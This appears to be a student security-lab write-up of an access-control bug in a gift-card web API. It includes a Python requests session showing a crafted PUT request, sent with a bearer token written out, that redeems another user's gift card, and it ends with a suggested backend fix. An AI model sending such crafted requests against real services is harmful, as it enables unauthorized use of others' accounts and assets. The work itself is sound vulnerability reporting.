

BUG

The PUT method is used to use the gift card. Here, using python requests library, I was able to figure out how the web request worked. In the following screenshot, it can be seen that with a valid authorization token, gift card number 115 can be accessed even though I did not create that many gift cards. Also, when I enter an invalid token by changing only 1 character, I get an invalid token. So, the bug is, as long as the web request is authorized and the gift card id exists, we can craft a request to use a gift card that does not belong to the authorized user. This cannot be fixed only by client-side code. Some changes need to be made in the backend to allow only the gift cards associated with the authorized users to be used, meaning, we need to add user id in the gift card data too.



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IDLE Shell 3.11.3
Python 3.11.3 (v3.11.3:f3909b8bc8, Apr  4 2023, 20:12:10) [Clang 13.0.0 (clang-1300.0.29.30)] on darwin
Type "help", "copyright", "credits" or "license()" for more information.
>>> import requests
>>> response=requests.put("https://appsec.moyix.net/api/use/115", headers={'Authorization': 'Token 785a697509391a98fabb9138f84515a58c95478'})
>>> print(response.text)
{"card":{"data":"eyJtZXJjaGFudF9pZCI6ICJ0WVUgQXBwYXJlbCB0YXJkIiwgImN1c3RvbWV5X2lkIjogImVnZyIsICJ0b3RhbF92YWx1ZSI6IDIsMjMyMjMzNiwiInJlY29yZHM0IjBbeyJyZWVucmRfdHlwZSI6ICJhbW91bnRfY2hhbmdlIiwgImFtb3VudF9hZGRlZCI6IDIsMDAsICJzaWduYXR1cmUiOiAiWyBpbmNlcjY3J35cHRvIHNPZ25hdHVyZSBoZXJlIF00MTY0OTQifV19","product":{"product_id":1,"product_name":"NYU Apparel Card","product_image_path":"/images/product_1.jpg","recommended_price":95,"description":"Use this card to buy NYU Clothing!","amount":232322336,"used":true,"id":115}}}
>>> response=requests.put("https://appsec.moyix.net/api/use/115", headers={'Authorization': 'Token 785a697509991a98fabb9138f84515a58c95478'})
>>> print(response.text)
{"detail":"Invalid token."}
>>>
```